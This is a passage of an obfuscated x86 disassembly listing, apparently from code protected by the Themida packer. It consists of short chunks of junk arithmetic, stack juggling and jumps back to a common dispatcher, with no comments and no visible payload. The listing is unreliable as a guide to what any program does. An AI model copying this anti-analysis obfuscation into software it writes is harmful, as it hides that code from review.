jmp loc_588D6D
; ---------------------------------------------------------------------------
loc_58D39D: ; CODE XREF: Themida_:0058D06Aj
xor edi, [esp]
mov esp, [esp]
add ebx, 1
xchg ebx, [edi+24h]
jmp loc_5821C8
; ---------------------------------------------------------------------------
loc_58D3B1: ; CODE XREF: Themida_:0058613Ej
pop eax
xor esi, 32F62753h
sub esi, 4FE15B92h
sub ebp, 779B56C0h
add ebp, esi
add ebp, 779B56C0h
pop esi
add ebp, 2
jmp loc_5820A2
; ---------------------------------------------------------------------------
loc_58D3D8: ; CODE XREF: Themida_:005833C4j
xor ebx, 4F2B75C8h
push 4268h
jmp loc_58971E
; ---------------------------------------------------------------------------
loc_58D3E8: ; CODE XREF: Themida_:00589231j
add esi, ebp
add esi, 7C636A1Dh
pop ebp
jmp loc_5865C8
; ---------------------------------------------------------------------------
loc_58D3F6: ; CODE XREF: Themida_:0058D22Aj
pop ebx
sub ch, dl
pop edx
xor ch, 0F6h
add al, ch
jmp loc_58A420
; ---------------------------------------------------------------------------
loc_58D404: ; CODE XREF: Themida_:0058A54Aj
mov esi, 399F3D8Eh
push edi
mov edi, 13187B8Eh
shl edi, 1
sub edi, 48CA17A4h
not edi
add edi, 20F6F4C7h
sub esi, edi
jmp loc_585348
; ---------------------------------------------------------------------------
loc_58D426: ; CODE XREF: Themida_:00588602j
add edx, 713B4A79h
pop eax
jmp loc_5884BB
; ---------------------------------------------------------------------------
loc_58D432: ; CODE XREF: Themida_:0058400Fj
add ch, bl
pop ebx
sub al, ch
pop ecx
push ecx
mov ch, 75h
shl ch, 2
not ch
shl ch, 4
push edx
jmp loc_583A37
; ---------------------------------------------------------------------------
loc_58D449: ; CODE XREF: Themida_:0058CD80j
add esp, 4
add ebp, 31D55133h
dec ebp
jmp loc_588EFF
; ---------------------------------------------------------------------------
loc_58D45B: ; CODE XREF: Themida_:0058C1CEj
add ebp, 48AB6D11h
jmp loc_58553F
; ---------------------------------------------------------------------------
loc_58D466: ; CODE XREF: Themida_:0058648Dj
mov ecx, 741018A9h
jmp loc_589E06
; ---------------------------------------------------------------------------
loc_58D470: ; CODE XREF: Themida_:0058AD3Cj
mov ebx, 74596F5Bh
dec ebx
xor ebx, 0BBA5204h
sub esi, ebx
jmp loc_58A99D
; ---------------------------------------------------------------------------
loc_58D483: ; CODE XREF: Themida_:005881B4j
add esp, 4
push ecx
mov ecx, esp
push edx
mov edx, 4
add ecx, edx
mov edx, [esp]
jmp loc_582508
; ---------------------------------------------------------------------------
lodsd
jmp loc_588E98
; ---------------------------------------------------------------------------
loc_58D49F: ; CODE XREF: Themida_:00584344j
mov edi, [esp]
push esi
mov esi, esp
add esi, 4
add esi, 4
push edi
mov edi, esp
jmp loc_582D56
; ---------------------------------------------------------------------------
loc_58D4B6: ; CODE XREF: Themida_:00589DD6j
mov ebx, 19E74164h
add ebx, 2B106E67h
jmp loc_5853AE
; ---------------------------------------------------------------------------
loc_58D4C6: ; CODE XREF: Themida_:005839B5j
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
mov esp, [esp]
movzx ecx, al
push 4C22h
mov [esp], edx
push esp
pop edx
add edx, 4
push eax
jmp loc_582F21
; ---------------------------------------------------------------------------
loc_58D4F8: ; CODE XREF: Themida_:0058AFEBj
shl eax, 2
inc eax
shl eax, 4
push ebp
mov ebp, 2E63C6h
dec ebp
shr ebp, 5
xor ebp, 59A91280h
or ebp, 3B3155B9h
add ebp, 10F3A269h
sub eax, ebp
pop ebp
jmp loc_58B98C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5F0C13
loc_58D523: ; CODE XREF: sub_5F0C13-6B910j
pop eax
sub al, 3Dh
add al, 79h
sub al, ch
sub al, 79h
jmp loc_581961
; END OF FUNCTION CHUNK FOR sub_5F0C13
; ---------------------------------------------------------------------------
loc_58D531: ; CODE XREF: Themida_:0058D18Cj
mov esp, [esp]
push ebx
push eax
push 3616h
mov [esp], ebx
mov bh, dl
push ecx
push edx
mov dh, bh
jmp loc_58605A
; ---------------------------------------------------------------------------
loc_58D549: ; CODE XREF: Themida_:005873D7j
shl dh, 2
jmp loc_58B5C8
; ---------------------------------------------------------------------------
loc_58D551: ; CODE XREF: Themida_:005827A5j
add esp, 4
add ebx, ebp
mov ebp, [esp]
add esp, 4
sub eax, ebx
pop ebx
add ebx, 28D52691h
sub esp, 4
jmp loc_58CE77
; ---------------------------------------------------------------------------
loc_58D570: ; CODE XREF: Themida_:00585EBBj
sub ecx, 4
xchg ecx, [esp]
pop esp
jmp loc_587FC5
; ---------------------------------------------------------------------------
loc_58D57C: ; CODE XREF: Themida_:0058A801j
push eax
push ebx
jmp loc_58CB34
; ---------------------------------------------------------------------------
loc_58D583: ; CODE XREF: Themida_:005845A0j
xor edi, 2961477Fh
or edi, 7F5E23B8h
xor edi, 65F14760h
sub ebp, edi
pop edi
jmp loc_58BDE2
; ---------------------------------------------------------------------------
loc_58D59D: ; CODE XREF: Themida_:00582221j
push 113Fh
mov [esp], esp
add dword ptr [esp], 4
pop ebp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], ecx
jmp loc_58A0B1
; ---------------------------------------------------------------------------
loc_58D5C5: ; CODE XREF: Themida_:0058BB9Aj
mov ebp, 678B28EEh
push 5486h
mov [esp], esi
push ebx
push 6ABC7BB6h
jmp loc_58D5FC
; ---------------------------------------------------------------------------
loc_58D5DD: ; CODE XREF: Themida_:005849DBj
push edx
mov edx, esp
push eax
mov eax, 1CE94865h
sub eax, 26AE765Ah
push ecx
mov ecx, 0
sub ecx, eax
mov eax, ecx
pop ecx
push ebp
jmp loc_583740
; ---------------------------------------------------------------------------
loc_58D5FC: ; CODE XREF: Themida_:0058D5D8j
pop ebx
and ebx, 4EA6797Ch
add ebx, 227995A4h
jmp loc_588FCE
; ---------------------------------------------------------------------------
loc_58D60E: ; CODE XREF: Themida_:00588D92j
add ecx, edi
pop edi
push ecx
push dword ptr [esp+4]
mov ecx, [esp]
add esp, 4
jmp loc_58B0D3
; ---------------------------------------------------------------------------
loc_58D624: ; CODE XREF: Themida_:00586D0Ej
add ecx, 485C6Fh
push ebp
mov ebp, 7061F8Ch
jmp loc_58AE04
; ---------------------------------------------------------------------------
loc_58D635: ; CODE XREF: Themida_:0058CFD4j
mov esp, [esp]
jmp loc_58DC8D
; ---------------------------------------------------------------------------
loc_58D63D: ; CODE XREF: Themida_:005825F8j
xor ecx, [esp]
mov esp, [esp]
push 3A6Eh
mov [esp], edx
push 292Dh
mov [esp], esi
jmp loc_581E66
; ---------------------------------------------------------------------------
loc_58D658: ; CODE XREF: Themida_:005857A3j
add esp, 4
jmp loc_58D9A0
; ---------------------------------------------------------------------------
loc_58D663: ; CODE XREF: Themida_:00581A43j
or eax, 72371035h
add eax, 0A46992A8h
mov esi, eax
pop eax
jmp loc_5864AC
; ---------------------------------------------------------------------------
loc_58D675: ; CODE XREF: Themida_:005837C0j
xor dl, al
pop ax
jmp loc_5873F3
; ---------------------------------------------------------------------------
loc_58D67E: ; CODE XREF: Themida_:00587C93j
sub edx, edi
jmp loc_586384
; ---------------------------------------------------------------------------
push edx
jmp loc_5838CD
; ---------------------------------------------------------------------------
loc_58D68B: ; CODE XREF: Themida_:0058D0C5j
pop ebx
std
push 0Ah
push dword ptr [esp]
mov ecx, [esp]
jmp loc_589E0E
; ---------------------------------------------------------------------------
push dword ptr [edi+3Ch]
mov eax, [esp]
push ecx
jmp loc_5819B9
; ---------------------------------------------------------------------------
loc_58D6A9: ; CODE XREF: Themida_:005833BEj
dec edx
sub edx, 0E69DFEEFh
add eax, edx
mov edx, [esp]
jmp loc_5830E5
; ---------------------------------------------------------------------------
loc_58D6BA: ; CODE XREF: Themida_:0058AFAEj
add ebx, 4
xchg ebx, [esp]
jmp loc_58384D
; ---------------------------------------------------------------------------
loc_58D6C8: ; CODE XREF: Themida_:0058BF07j
mov eax, [esp]
add esp, 4
jmp loc_582226
; ---------------------------------------------------------------------------
loc_58D6D3: ; CODE XREF: Themida_:00588BF0j
shl ecx, 1
sub ecx, 3BD6B10Dh
sub edi, ecx
jmp loc_58B928
; ---------------------------------------------------------------------------
loc_58D6E2: ; CODE XREF: Themida_:005839F9j
shl edi, 6
jmp loc_583E9B
; ---------------------------------------------------------------------------
loc_58D6EA: ; CODE XREF: Themida_:0058B7FFj
push eax
push esp
mov eax, [esp]
add esp, 4
jmp loc_58925D
; ---------------------------------------------------------------------------
loc_58D6FA: ; CODE XREF: Themida_:0058B4F7j
dec cl
add cl, 21h
sub al, cl
pop ecx
add al, bl
add al, 0FDh
mov bx, [esp]
jmp loc_584986
; ---------------------------------------------------------------------------
loc_58D70F: ; CODE XREF: Themida_:0058B439j
sub si, dx
pop dx
pop bp
jmp loc_583620
; ---------------------------------------------------------------------------
loc_58D71B: ; CODE XREF: Themida_:0058B103j
xchg ebx, [esp]
pop esp
sub edx, 8BB2492h
mov ebx, edx
push dword ptr [esp]
pop edx
add esp, 4
jmp loc_585AA9
; ---------------------------------------------------------------------------
loc_58D736: ; CODE XREF: Themida_:00584B3Fj
or edx, 7BA17DF1h
shr edx, 7
push eax
mov eax, 5EF012EEh
dec eax
push ecx
mov ecx, 725350FFh
add ecx, 2FB4173Ch
xor ecx, 41E366DCh
shl ecx, 7
xor ecx, 0F63244DAh
jmp loc_58C30B
; ---------------------------------------------------------------------------
loc_58D766: ; CODE XREF: Themida_:00583E5Ej
sub ebp, 48501035h
not ebp
jmp loc_588D42
; ---------------------------------------------------------------------------
loc_58D773: ; CODE XREF: Themida_:00583BE4j
mov ecx, [esp]
add esp, 4
xchg edx, [esp]
jmp loc_589CE8
; ---------------------------------------------------------------------------
loc_58D781: ; CODE XREF: Themida_:0058DA9Cj
pop eax
add edi, 672B153Bh
jmp loc_5824FD
; ---------------------------------------------------------------------------
loc_58D78D: ; CODE XREF: Themida_:00588E39j
add edx, ecx
pop ecx
xor edi, edx
jmp loc_58775E
; ---------------------------------------------------------------------------
loc_58D797: ; CODE XREF: Themida_:0058DD25j
mov edi, 3B06360Fh
add edx, edi
pop edi
add edx, ecx
sub edx, 3B06360Fh
jmp loc_58D995
; ---------------------------------------------------------------------------
loc_58D7AC: ; CODE XREF: Themida_:0058507Dj
mov bh, 35h
add al, bh
jmp loc_58CCB0
; ---------------------------------------------------------------------------
loc_58D7B5: ; CODE XREF: Themida_:005896DBj
add bl, 81h
sub bl, al
sub bl, 81h
add bl, 8Ah
jmp loc_587E83
; ---------------------------------------------------------------------------
loc_58D7C5: ; CODE XREF: Themida_:0058509Bj
sub esp, 4
jmp loc_589D77
; ---------------------------------------------------------------------------
loc_58D7D0: ; CODE XREF: Themida_:005850CAj
sub al, 0AFh
dec al
xor al, 91h
or al, 1Dh
jmp loc_587DE3
; ---------------------------------------------------------------------------
loc_58D7DD: ; CODE XREF: Themida_:005849D2j
mov dl, 26h
shr dl, 4
and dl, 0D9h
push bx
jmp loc_58BA33
; ---------------------------------------------------------------------------
loc_58D7EC: ; CODE XREF: Themida_:0058361Bj
pop esp
and eax, esi
mov esi, [esp]
add esp, 4
or edx, eax
shl edx, 1
push dword ptr [edi+24h]
push ebx
push 1
pop ebx
add dword ptr [esp+4], 0EA127DBh
add [esp+4], ebx
push edx
jmp loc_589E54
; ---------------------------------------------------------------------------
loc_58D815: ; CODE XREF: Themida_:0058ABBAj
pop ecx
mov ah, [esp+4]
mov [esp+4], bl
pop ebx
jmp loc_5818C9
; ---------------------------------------------------------------------------
mov ax, [esp]
push 0D82h
mov [esp], esi
mov esi, esp
add esi, 4
push ebx
mov ebx, 692B4DB6h
xor ebx, 78344D1Eh
shl ebx, 2
jmp loc_58A146
; ---------------------------------------------------------------------------
loc_58D84C: ; CODE XREF: Themida_:0058B7E0j
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_58D851: ; CODE XREF: Themida_:0058D13Dj
pop esp
xor [esp], eax
jmp loc_58AE8E
; ---------------------------------------------------------------------------
loc_58D85A: ; CODE XREF: Themida_:00584807j
push edx
push edi
jmp loc_5849F2
; ---------------------------------------------------------------------------
mov cx, [esp]
push esi
mov esi, esp
push ecx
push 5184h
jmp loc_588270
; ---------------------------------------------------------------------------
loc_58D873: ; CODE XREF: Themida_:0058A287j
push ecx
mov ecx, esp
add ecx, 4
sub esp, 4
mov [esp], edx
mov edx, 4
add ecx, edx
push dword ptr [esp]
jmp loc_583A31
; ---------------------------------------------------------------------------
loc_58D891: ; CODE XREF: Themida_:0058816Fj
not ecx
shr ecx, 3
jmp loc_586DE5
; ---------------------------------------------------------------------------
loc_58D89B: ; CODE XREF: Themida_:005876F5j
push ebx
push esp
pop ebx
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
xchg esi, [esp]
mov esp, [esp]
jmp loc_58B19F
; ---------------------------------------------------------------------------
loc_58D8B6: ; CODE XREF: Themida_:00588C0Bj
mov ecx, 1
push ecx
xor dword ptr [esp], 0EB02A87h
pop eax
jmp loc_589DDB
; ---------------------------------------------------------------------------
loc_58D8C9: ; CODE XREF: Themida_:00589A1Ej
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_58D8CE: ; CODE XREF: Themida_:0058C44Aj
add al, 0C4h
add al, bl
sub al, 0C4h
push edx
push bx
mov bl, 0DBh
mov dh, bl
jmp loc_583029
; ---------------------------------------------------------------------------
mov ax, [esp]
jmp loc_58BDF1
; ---------------------------------------------------------------------------
loc_58D8E9: ; CODE XREF: Themida_:00588816j
sub ch, 9Fh
push ecx
mov ch, 9Eh
sub al, ch
pop ecx
jmp loc_58AC36
; ---------------------------------------------------------------------------
loc_58D8F7: ; CODE XREF: Themida_:00586429j
xor al, 2Dh
sub ch, al
jmp loc_5840F4
; ---------------------------------------------------------------------------
loc_58D900: ; CODE XREF: Themida_:00584B20j
add esi, 6FB30E80h
push edi
mov edi, 4CE24C11h
or edi, 2D644215h
and edi, 7F304540h
shl edi, 6
xor edi, 64967C04h
add esi, edi
pop edi
sub esi, edx
push ebp
jmp loc_582A66
; ---------------------------------------------------------------------------
loc_58D92C: ; CODE XREF: Themida_:0058C565j
pop edi
push ecx
jmp loc_58A0C7
; ---------------------------------------------------------------------------
loc_58D933: ; CODE XREF: Themida_:0058A4AEj
sub esp, 4
jmp loc_588D2F
; ---------------------------------------------------------------------------
lodsd
push ebp
mov ebp, 11AE4707h
jmp loc_583778
; ---------------------------------------------------------------------------
loc_58D94A: ; CODE XREF: Themida_:0058A1FFj
pop edx
add esp, 4
push edi
mov edi, 79771D31h
sub ebx, edi
pop edi
sub ebx, eax
add ebx, 79771D31h
jmp loc_5896B7
; ---------------------------------------------------------------------------
loc_58D967: ; CODE XREF: Themida_:005851FAj
add dword ptr [esp], 336E48FEh
add [esp], eax
sub dword ptr [esp], 336E48FEh
sub esp, 4
mov [esp], esi
mov esi, 193A5BDDh
add [esp+4], esi
mov esi, [esp]
add esp, 4
jmp loc_589409
; ---------------------------------------------------------------------------
loc_58D995: ; CODE XREF: Themida_:0058D7A7j
mov ecx, [esp]
push ebx
mov ebx, esp
jmp loc_58BBDD
; ---------------------------------------------------------------------------
loc_58D9A0: ; CODE XREF: Themida_:0058D65Ej
sub esp, 4
mov [esp], ebp
push edx
jmp loc_5845A5
; ---------------------------------------------------------------------------
loc_58D9AF: ; CODE XREF: Themida_:005843BCj
mov ebp, ecx
jmp loc_5878C5
; ---------------------------------------------------------------------------
loc_58D9B6: ; CODE XREF: Themida_:0058383Cj
push edx
mov dl, 0CAh
add dl, 1
neg dl
push ebx
mov bh, 19h
jmp loc_586D39
; ---------------------------------------------------------------------------
loc_58D9C6: ; CODE XREF: Themida_:005885FBj
add ebx, 5BB422CAh
push dword ptr [esp]
pop edx
push esi
jmp loc_581E35
; ---------------------------------------------------------------------------
loc_58D9D6: ; CODE XREF: Themida_:0058348Bj
add edi, 2
push edi
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
mov esp, [esp]
jmp loc_5860FC
; ---------------------------------------------------------------------------
loc_58D9ED: ; CODE XREF: Themida_:00587B08j
xchg eax, [esp]
pop esp
jmp loc_58CEE6
; ---------------------------------------------------------------------------
loc_58D9F6: ; CODE XREF: Themida_:0058700Aj
pop dword ptr [esp]
pop esp
mov cx, [esp]
push ebx
mov ebx, esp
push 170Bh
mov [esp], eax
mov eax, 4
add ebx, eax
pop eax
jmp loc_585412
; ---------------------------------------------------------------------------
loc_58DA16: ; CODE XREF: Themida_:0058D130j
pop dword ptr [esp]
pop eax
push 6C8Ah
jmp loc_58496A
; ---------------------------------------------------------------------------
loc_58DA24: ; CODE XREF: Themida_:00581E61j
sub esp, 4
mov [esp], edi
mov edi, 0DB1D864Fh
add ebp, edi
jmp loc_58C811
; ---------------------------------------------------------------------------
loc_58DA39: ; CODE XREF: Themida_:00584702j
shr ebp, 2
shr ebp, 6
jmp loc_58CA7B
; ---------------------------------------------------------------------------
loc_58DA44: ; CODE XREF: Themida_:00582363j
xor [esp], eax
xor eax, [esp]
pop esp
sub esp, 4
mov [esp], ebp
jmp loc_5863E0
; ---------------------------------------------------------------------------
loc_58DA56: ; CODE XREF: Themida_:00584F85j
sub eax, 4
xchg eax, [esp]
pop esp
mov [esp], edi
mov edi, 4
add ebp, edi
pop edi
push 7D2Bh
mov [esp], eax
jmp loc_58BBC5
; ---------------------------------------------------------------------------
loc_58DA75: ; CODE XREF: Themida_:00582185j
mov ebx, [esp]
add esp, 4
neg ebx
jmp loc_58695B
; ---------------------------------------------------------------------------
loc_58DA82: ; CODE XREF: Themida_:00588596j
pop esp
mov [esp], eax
mov eax, 56206DF5h
and eax, 667C7E78h
and eax, 4CCF4122h
sub eax, 0F0D9E02Bh
xor edi, eax
jmp loc_58D781
; ---------------------------------------------------------------------------
loc_58DAA1: ; CODE XREF: Themida_:005866ADj
xchg ebp, [esp]
pop esp
xchg esi, [esp]
mov esp, [esp]
mov [esp], ax
jmp loc_5818C9
; ---------------------------------------------------------------------------
movzx ax, byte ptr fs:[edx]
jmp loc_58483C
; ---------------------------------------------------------------------------
loc_58DABE: ; CODE XREF: Themida_:00588402j
and ebp, ebx
pop ebx
jmp loc_587EB6
; ---------------------------------------------------------------------------
loc_58DAC6: ; CODE XREF: Themida_:0058CB62j
add esp, 4
push ecx
push edi
mov edi, 5C505D09h
jmp loc_5842B2
; ---------------------------------------------------------------------------
loc_58DAD8: ; CODE XREF: Themida_:005842A0j
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_58DADD: ; CODE XREF: Themida_:00584840j
mov [esp], ax
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_58DAE6: ; CODE XREF: Themida_:0058DBC7j
push esi
mov esi, esp
push esi
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp]
pop esp
mov [esp], ebp
mov ebp, 9826EEAh
not ebp
neg ebp
jmp loc_581E5B
; ---------------------------------------------------------------------------
loc_58DB0A: ; CODE XREF: Themida_:005827FFj
push dword ptr [esp]
pop ebp
add esp, 4
xor edx, eax
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_58DB1B: ; CODE XREF: Themida_:0058CE57j
push dword ptr [esp+4]
jmp loc_587E1C
; ---------------------------------------------------------------------------
loc_58DB24: ; CODE XREF: Themida_:005860B3j
xor edx, 11DB28B9h
xor eax, edx
pop edx
xor eax, 582AF350h
mov ebx, eax
pop eax
add ebx, 367E5221h
add ebx, edi
sub ebx, 367E5221h
push edx
sub esp, 4
mov [esp], ebx
mov bl, al
mov dl, bl
mov ebx, [esp]
add esp, 4
mov [ebx], dl
jmp loc_587A2C
; ---------------------------------------------------------------------------
loc_58DB5B: ; CODE XREF: Themida_:0058225Fj
mov [esp], esp
jmp loc_588540
; ---------------------------------------------------------------------------
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_58DB68: ; CODE XREF: Themida_:0058802Cj
pop ebp
sub edx, 4
push edx
push dword ptr [esp+4]
pop edx
pop dword ptr [esp]
pop esp
jmp loc_5842A5
; ---------------------------------------------------------------------------
loc_58DB7B: ; CODE XREF: Themida_:00585AFAj
and edx, edi
jmp loc_588684
; ---------------------------------------------------------------------------
loc_58DB82: ; CODE XREF: Themida_:00584DB7j
xor esi, 183558Dh
jmp loc_583EF5
; ---------------------------------------------------------------------------
loc_58DB8D: ; CODE XREF: Themida_:00581A4Fj
mov ebx, 0FFFFh
and eax, ebx
push dword ptr [esp]
pop ebx
push ecx
mov ecx, esp
jmp loc_589985
; ---------------------------------------------------------------------------
loc_58DBA0: ; CODE XREF: Themida_:00588C4Bj
xor ebp, [esp]
pop esp
and [esp], eax
pushf
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_58DBAD: ; CODE XREF: Themida_:0058A3D3j
add ebx, edi
jmp loc_5846F4
; ---------------------------------------------------------------------------
loc_58DBB4: ; CODE XREF: Themida_:0058A253j
pop ebp
add ebp, 4
add ebp, 4
jmp loc_58BC60
; ---------------------------------------------------------------------------
mov ax, [esp]
jmp loc_58DAE6
; ---------------------------------------------------------------------------
push dword ptr [esp]
jmp loc_58C626
; ---------------------------------------------------------------------------
loc_58DBD4: ; CODE XREF: Themida_:0058B19Aj
push ebx
jmp loc_58380D
; ---------------------------------------------------------------------------
loc_58DBDA: ; CODE XREF: Themida_:0058A1A6j
mov bh, 0A1h
add bh, 25h
add al, bh
pop ebx
jmp loc_58AA0D
; ---------------------------------------------------------------------------
loc_58DBE7: ; CODE XREF: Themida_:0058AE62j
pop esi
add esp, 4
add ebp, 4
xchg ebp, [esp]
jmp loc_589150
; ---------------------------------------------------------------------------
loc_58DBF9: ; CODE XREF: Themida_:005859E6j
pop esi
shl esi, 4
add esi, 0FBC0827Bh
push edx
mov edx, 35D395Dh
add ebx, edx
pop edx
sub ebx, esi
sub ebx, 35D395Dh
jmp loc_584391
; ---------------------------------------------------------------------------
loc_58DC19: ; CODE XREF: Themida_:005871CFj
push ebp
mov ebp, 2DAB1B79h
add dword ptr [esp+4], 0DC0613Ch
sub [esp+4], ebp
sub dword ptr [esp+4], 0DC0613Ch
jmp loc_58C25F
; ---------------------------------------------------------------------------
loc_58DC38: ; CODE XREF: Themida_:0058DE71j
mov eax, [esp]
add esp, 4
pop dword ptr [esp]
pop esp
push ebp
mov ebp, esp
jmp loc_58524C
; ---------------------------------------------------------------------------
loc_58DC4A: ; CODE XREF: Themida_:00586681j
add ebp, 3ADCA1B1h
mov edi, ebp
pop ebp
add eax, edi
pop edi
push 5B0Ch
mov [esp], esi
mov esi, 75A3177Ah
xor esi, 67993219h
shr esi, 1
push 796Bh
mov [esp], ebx
mov ebx, 0
jmp loc_584E2B
; ---------------------------------------------------------------------------
loc_58DC7D: ; CODE XREF: Themida_:0058A1B7j
sub esp, 4
mov [esp], ebx
mov ebx, 1
jmp loc_581F3F
; ---------------------------------------------------------------------------
loc_58DC8D: ; CODE XREF: Themida_:0058D638j
mov [esp], eax
jmp loc_588F70
; ---------------------------------------------------------------------------
loc_58DC95: ; CODE XREF: Themida_:00587065j
mov al, 0A1h
push edx
sub esp, 4
jmp loc_582626
; ---------------------------------------------------------------------------
loc_58DCA3: ; CODE XREF: Themida_:005827B0j
sub edx, 4C49A795h
mov esi, edx
push dword ptr [esp]
pop edx
add esp, 4
jmp loc_58260E
; ---------------------------------------------------------------------------
loc_58DCB7: ; CODE XREF: Themida_:005843B5j
dec esi
dec esi
xor esi, 56BE7B77h
add ecx, esi
pop esi
add ecx, 4
xchg ecx, [esp]
pop esp
pop dword ptr [esp]
jmp loc_586587
; ---------------------------------------------------------------------------
loc_58DCD4: ; CODE XREF: Themida_:00582D43j
push ebp
mov ebp, 4A4023B8h
add eax, ebp
pop ebp
push 4F41h
mov [esp], ebx
mov ebx, 5AECF657h
jmp loc_58851C
; ---------------------------------------------------------------------------
mov cx, [esp]
push edx
mov edx, esp
add edx, 4
push 7152h
mov [esp], ecx
mov ecx, 5C213924h
add ecx, 268A4031h
push edx
mov edx, 0FFFFFFFFh
add ecx, edx
pop edx
shr ecx, 2
shr ecx, 4
sub ecx, 20AADE3h
push edi
jmp loc_58D797
; ---------------------------------------------------------------------------
loc_58DD2A: ; CODE XREF: Themida_:0058C776j
mov esi, 371E1CBBh
jmp loc_58A539
; ---------------------------------------------------------------------------
loc_58DD34: ; CODE XREF: Themida_:0058421Bj
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_58DD39: ; CODE XREF: Themida_:0058B7ACj
xchg edi, [esp]
pop esp
push esi
push dword ptr [esp+4]
mov esi, [esp]
push ebp
mov ebp, esp
add ebp, 4
jmp loc_58D127
; ---------------------------------------------------------------------------
loc_58DD53: ; CODE XREF: Themida_:00583010j
mov ch, 0F7h
mov al, ch
pop cx
add al, dh
pop edx
push eax
mov ah, 0EFh
add bl, ah
jmp loc_5877E7
; ---------------------------------------------------------------------------
loc_58DD66: ; CODE XREF: Themida_:00582739j
mov edx, 9C6326CCh
sub eax, edx
pop edx
add ebx, eax
pop eax
add ebx, 4
xchg ebx, [esp]
mov esp, [esp]
pop eax
add eax, 625F00B4h
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_58DD88: ; CODE XREF: Themida_:0058CA76j
add esp, 4
jmp loc_5864A7
; ---------------------------------------------------------------------------
loc_58DD90: ; CODE XREF: Themida_:0058BE2Cj
pop ecx
jmp loc_584A83
; ---------------------------------------------------------------------------
loc_58DD96: ; CODE XREF: Themida_:00587D9Aj
pop esp
pop ebp
push ebx
mov ebx, 2BBC2E99h
jmp loc_58C2C4
; ---------------------------------------------------------------------------
loc_58DDA3: ; CODE XREF: Themida_:00583EABj
mov eax, 4
push edi
mov edi, 35776832h
add ebp, edi
pop edi
sub ebp, eax
jmp loc_581AE4
; ---------------------------------------------------------------------------
loc_58DDB8: ; CODE XREF: Themida_:0058C372j
add esi, ebp
push eax
jmp loc_58627F
; ---------------------------------------------------------------------------
byte_58DDC0 db 83h ; CODE XREF: Themida_:00586049j
; ---------------------------------------------------------------------------
loc_58DDC1: ; CODE XREF: Themida_:0057B3F4j
les eax, [eax+edx*2]
pop ebp
mov eax, [esp]
jmp loc_58A2A5
; ---------------------------------------------------------------------------
loc_58DDCD: ; CODE XREF: Themida_:00582542j
mov [esp], edi
; ---------------------------------------------------------------------------
db 0E9h
; ---------------------------------------------------------------------------
loc_58DDD1: ; CODE XREF: Themida_:0057B404j
in al, 6Ah
; ---------------------------------------------------------------------------
db 0FFh
db 0FFh
; ---------------------------------------------------------------------------
loc_58DDD5: ; CODE XREF: Themida_:00585A7Fj
push ecx
mov cl, dh
jmp loc_586825
; ---------------------------------------------------------------------------
loc_58DDDD: ; CODE XREF: Themida_:0058AC73j
mov esi, 4
sub edx, esi
mov esi, [esp]
add esp, 4
xchg edx, [esp]
pop esp
mov [esp], edi
mov edi, 6EA0A59Eh
xor eax, edi
mov edi, [esp]
jmp loc_5875C2
; ---------------------------------------------------------------------------
loc_58DE00: ; CODE XREF: Themida_:0058696Cj
add ebx, 334D04BFh
sub ebx, ecx
push ebp
mov ebp, 180F17BBh
shl ebp, 1
jmp loc_584B57
; ---------------------------------------------------------------------------
loc_58DE15: ; CODE XREF: Themida_:00585AF0j
mov edi, 15D303F6h
sub eax, 3A295A30h
add eax, edi
add eax, 3A295A30h
pop edi
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_58DE2C: ; CODE XREF: Themida_:0058CC92j
push 554Ah
jmp loc_5888B3
; ---------------------------------------------------------------------------
loc_58DE36: ; CODE XREF: Themida_:0058269Fj
xor edi, [esp]
mov esp, [esp]
inc dword ptr [esp]
pushf
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_58DE45: ; CODE XREF: Themida_:005874DCj
mov dl, al
pop eax
pop bx
push ebx
mov bh, 0D5h
sub al, 67h
sub al, bh
sub esp, 2
mov [esp], bx
mov bl, 67h
add al, bl
jmp loc_5895B9
; ---------------------------------------------------------------------------
loc_58DE61: ; CODE XREF: Themida_:0058603Dj
add esp, 4
add eax, 4
push eax
push dword ptr [esp+4]
jmp loc_58DC38
; ---------------------------------------------------------------------------
loc_58DE76: ; CODE XREF: Themida_:00585CA9j
push edi
jmp loc_588585
; ---------------------------------------------------------------------------
loc_58DE7C: ; CODE XREF: Themida_:0058872Ej
add ebx, 4
push ebx
push dword ptr [esp+4]
jmp loc_58C1DB
; ---------------------------------------------------------------------------
loc_58DE8C: ; CODE XREF: Themida_:0058352Bj
push 556Fh
mov [esp], ebp
mov ebp, esp
jmp loc_583B2C
; ---------------------------------------------------------------------------
loc_58DE9B: ; CODE XREF: Themida_:0058C6F2j
mov ebx, 40AA226Bh
jmp loc_5866F6
; ---------------------------------------------------------------------------
loc_58DEA5: ; CODE XREF: Themida_:005884B6j
pop esi
push 0
sub [esp], edx
pop edx
jmp loc_58BF79
; ---------------------------------------------------------------------------
loc_58DEB4: ; CODE XREF: Themida_:0058E013j
add dl, 0B1h
jmp loc_58AAEE
; ---------------------------------------------------------------------------
pop dword ptr [edi+40h]
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_58DEC4: ; CODE XREF: Themida_:005884A9j
mov edx, [esp]
sub esp, 4
mov [esp], ebx
sub esp, 4
jmp loc_5863CC
; ---------------------------------------------------------------------------
loc_58DEDB: ; CODE XREF: Themida_:0058BB06j
push ebx
mov ebx, 1CC2663Dh
jmp loc_58B1BC
; ---------------------------------------------------------------------------
push dword ptr [esp]
mov ecx, [esp]
add esp, 4
push 28C9h
mov [esp], ebx
push 1AFEh
mov [esp], esp
jmp loc_58B5C2
; ---------------------------------------------------------------------------
loc_58DF07: ; CODE XREF: Themida_:00584795j
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_58DF0C: ; CODE XREF: Themida_:005854DCj
